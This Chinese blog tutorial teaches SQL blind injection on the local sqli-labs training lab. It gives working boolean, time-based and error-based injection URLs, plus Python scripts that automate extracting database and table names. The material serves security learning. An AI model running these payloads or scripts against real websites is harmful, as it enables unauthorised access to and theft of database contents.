sql盲注的学习

本文首发于:安恒网络空间安全讲武堂

这几天在学习sql注入的有关内容,今天记录一下我认为比较重要的部分,即sql盲注,我一开始学习的时候看到了好多的函数,看着看着就弄混了,相信不少新入门的师傅也有类似的困惑,经过多番心理斗争,我终于决定将这部分知识好整理一下,同时也给大家分享一下我在学习过程中编写的几个自动注入脚本,也欢迎各位师傅的指点和斧正。

函数整理

这里我先将所用到的功能函数整理一下,同时也欢迎各位师傅的补充和纠正

left(m,n) #从左向右截取字符串m返回其前n位

substr(m,1,2) #取字符串m的左边第一位起,2字长的字符串

ascii(m) #返回字符m的ASCII码

if(str1,str2,str3) #如果str1正确就执行str2,否则执行str3

sleep(m) #使程序暂停m秒

length(m) #返回字符串m的长度

count(column_name) #返回指定列的值的数目

concat()函数和group_concat()区别

concat()

该函数用于联合两条数据结果,通常是联合两个字段名,如concat(username,0x23,passwd),数据将由#分割开

group_concat()

这个函数与concat()用法是类似的,但如果管理员账号不止一个的话,concat一次只能注出一组用户名密码,而使用group_concat()可以实现一次注出多组数据。

盲注类型

基于布尔的盲注

特征

被注入的页面没有sql语句执行错误的显示,页面只有正常返回和不正常返回两种状态

示例

这里我拿sqli-labs的less8作为布尔型盲注的例子

我们可以看到这个页面正常会返回You are in………..而不正常的时候会无任何返回,这就很符合布尔盲注的特征

正常返回:

1.jpg

非正常返回:

2.jpg

构造?id=1’ and 1=1 %23时正常返回

3.jpg

这里基本就可以确定可以使用布尔盲注来获得数据库中的数据

接下来我们来猜解库名,在猜解库名之前,我们首先需要知道库名的长度

这里我们就可以利用length()函数来进行长度的爆破:

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length(database())=m) %23 //m=1,2,3,4.....

代码如下:

5.jpg

结果

4.jpg

接下来开始进行库名的猜解,这里用到了ascii()函数和substr()函数,具体的语句如下:

http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr(database(),m,1))=n %23 //其中m 和 n是可变的参数

猜解库名的自动化脚本函数如下:

6.jpg

结果如下:

7.jpg

猜解表名和字段和猜解库名是一样的,篇幅原因将代码直接放出:

import requests
def get_dblength(base_url):
    url = base_url+"' and (length(database())={0}) %23"
    base_num = 100
    for i in range(0,base_num):
        url1 = url.format(i)
        print(url1)
        result = len(requests.get(url1).text)
        if result  == base_result:
            print("库名长度:",i)
            break
    return i

def get_dbname(base_url,db_length):
    dict = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    dbname = ""
    url = base_url+"' and ascii(substr(database(),{0},1))={1} %23"
    for i in range(1,db_length+1):
        for m in dict:
            m_ascii = ord(m)
            url2 = url.format(i,m_ascii)
            result = requests.get(url2)
            if len(result.text) == base_result:
                dbname += m
                print(dbname)
                break
    print("库名:",dbname)

def get_table_length():
    url = base_url + "' and (select length(table_name) from information_schema.tables where table_schema = database() limit {0},1)={1}%23"
    for i in range(0,20):
        url1 = url.format(2,i)
        result = requests.get(url1)
        if base_result == len(result.text):
            print("表名长度:",i)
            break
    return i

def get_table_name(table_length):
    dict = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    table_name = ""
    url = base_url + "' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {0},1),{1},1))={2} %23"
    for i in range(1,table_length + 1):
        for m in dict:
            ascii_m = ord(m)
            url1 = url.format(2,i,ascii_m)
            result = requests.get(url1).text
            if base_result == len(result):
                table_name +=m
                print("表名:",table_name)
                break
    return table_name

if __name__ == '__main__':
    base_url = "http://127.0.0.1/sqli-labs/Less-8/?id=1"
    base_result = len(requests.get(base_url).text)
    dblength = get_dblength(base_url)
    get_dbname(base_url, dblength)
    get_table_length()
    get_table_name(7)

基于时间的盲注

特征

被注入页面无论作何输入都回显相同的数据,导致我们无法判断注入是否成功,这时我们就可以使用以sleep()函数为核心的注入语句进行延时注入

示例

以sqli-labs less9作为示例

8.jpg

不管我们输入什么页面都显示You are in………..这时我们就可以用延时注入的方法进行数据库数据的获取

同样我们需要先获取库名的长度,然后再获取库名

这里主要使用到了sleep(),substr()和length()函数

获取库名长度:

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((length((select database()))=m),sleep(5),NULL) %23//其中m为整型可变参数,如果猜解正确,页面将会暂停响应5秒

获取库名:

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((substr((select database()),m,1)='n'),sleep(5),NULL) %23//其中m为整形,n为char型可变参数

爆破代码:

import requests

def db_post(url):
    try:
        result = requests.get(url,timeout=4)
        return 0
    except:
        return 1
def get_db_length():
    url = base_url + "' and if((length((select database()))={0}),sleep(5),NULL) %23"
    for i in range(0,20):
        url1 = url.format(i)
        temp = db_post(url1)
        if temp == 1:
            print("数据库名长度:",i)
            break
    return i

def get_db_name(db_length):
    db_name = ""
    url = base_url + "' and if((substr((select database()),{0},1)='{1}'),sleep(5),NULL) %23"
    print("开始猜解库名")
    for i in range(1,db_length+1):
        for m in dict:
            url1 = url.format(i,m)
            temp = db_post(url1)
            if temp == 1:
                db_name += m
                print(db_name)
                break
    print("库名:",db_name)
    return db_name

if __name__ == '__main__':
    dict = 'abcdefghijklmnopqrstuvwxyz'
    base_url = "http://127.0.0.1/sqli-labs/Less-9/?id=1"
    db_length = get_db_length()
    get_db_name(db_length)

可以看到成功将库名猜解出来

9.jpg

剩下的表名和字段将脚本稍作修改即可猜解出来,篇幅原因不再重复操作

基于报错的盲注(floor报错注入)

原理

该类型的注入利用了mysql的8652号BUG(官方链接:https://bugs.mysql.com/bug.php?id=8652),当使用group by对某些rand函数操作时,会返回带有敏感信息的错误信息,我们可以通过特定的sql语句组合来控制返回敏感信息的内容,从而实现间接的注入

示例

对于BUG触发的原理本篇不做分析,通过对该类型注入的资料收集,根据网络上的payload我整理了一份有效的注入语句

以sqli-labs less5为实际示例

这里要用到concat和count函数

回显库名:

http://127.0.0.1/sqli-labs/Less-5/?id=1' union select 1,count(*),concat("-","-",(select database()),"-","-",floor(rand(0)*2))a from information_schema.columns group by a %23

11.jpg

接下来是表名的注入,我们同样需要知道表名的个数:

http://127.0.0.1/sqli-labs/Less-5/?id=1' union select 1,count(*),concat("-","-",(select count(table_name) from information_schema.tables where table_schema='security'),"-","-",floor(rand(0)*2))a from information_schema.columns group by a %23

12.jpg

表名有四个,接着注出表名:

http://127.0.0.1/sqli-labs/Less-5/?id=1' union select 1,count(*),concat("-","-",(select table_name from information_schema.tables where table_schema='security' limit 3,1),"-","-",floor(rand(0)*2))a from information_schema.columns group by a %23

13.jpg

想注出全部表名修改limit参数即可

列名和数据同理修改查询语句就可以了。

总结

盲注是一个比较费神和考验逻辑的注入方式,在注入的过程中会做很多相同的工作,为了节省时间和精力,建议大家在平时练习的时候多编写自动脚本,这样能节省很多时间,避免做更多重复无用的工作